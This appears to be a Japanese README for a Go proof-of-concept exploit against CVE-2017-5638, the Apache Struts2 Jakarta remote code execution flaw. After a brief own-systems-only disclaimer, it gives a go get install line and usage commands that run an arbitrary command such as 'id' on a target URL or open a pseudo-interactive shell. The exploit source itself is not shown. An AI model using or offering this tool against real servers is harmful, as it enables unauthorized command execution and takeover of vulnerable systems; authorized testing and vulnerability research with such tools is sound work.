CVE-2017-5638 の POC エクスプロイト

このエクスプロイトは、自分が所有するシステム、または明示的なテスト権限があるシステムでのみ使用してください

インストール

Go がすでにインストールされている場合、go get を使用するのがよいでしょう。

go get github.com/Greynad/struts2-jakarta-inject

使用法

単一コマンドの実行

struts2-jakarta-inject -u <url> -c 'id'

疑似対話型シェル

struts2-jakarta-inject -u <url> -i